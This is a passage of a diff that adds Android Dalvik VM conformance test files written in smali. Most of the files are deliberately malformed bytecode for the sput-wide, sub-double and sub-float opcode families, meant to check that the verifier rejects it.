+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_6.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali
new file mode 100644
index 0000000..de441c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_7.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali
new file mode 100644
index 0000000..c3cc09a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_8.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali
new file mode 100644
index 0000000..4c362b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_9.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali
new file mode 100644
index 0000000..3103cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_1.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali
new file mode 100644
index 0000000..4495759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_3.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali
new file mode 100644
index 0000000..3b89e85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_4.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali
new file mode 100644
index 0000000..3c20a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_5.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali
new file mode 100644
index 0000000..bf920b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double v0, v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali
new file mode 100644
index 0000000..e13ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali
new file mode 100644
index 0000000..bc45d76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali
new file mode 100644
index 0000000..966517d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v2
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali
new file mode 100644
index 0000000..232d62f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v7
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali
new file mode 100644
index 0000000..f17ca46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double/2addr v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali
new file mode 100644
index 0000000..3b55c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_1.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali
new file mode 100644
index 0000000..8fef2d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float v0, v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali
new file mode 100644
index 0000000..9d82bc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_3.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float v0, v3, v2
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali
new file mode 100644
index 0000000..13a3b87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_4.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v1, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali
new file mode 100644
index 0000000..f2403c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_5.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+
+       sub-float v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali
new file mode 100644
index 0000000..e596c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_6.java"
+.class  public Ldot/junit/opcodes/sub_float/d/T_sub_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali
new file mode 100644
index 0000000..09bc087
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali
new file mode 100644
index 0000000..84ab5c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 3.1415
+       sub-float/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali
new file mode 100644
index 0000000..3fbcbc0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 5
+
+       move v2, v3
+       const-wide v3, 9475928
+       sub-float/2addr v3, v2
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali
new file mode 100644
index 0000000..528058c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float_2addr/d/T_sub_float_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_float_2addr_4.java"
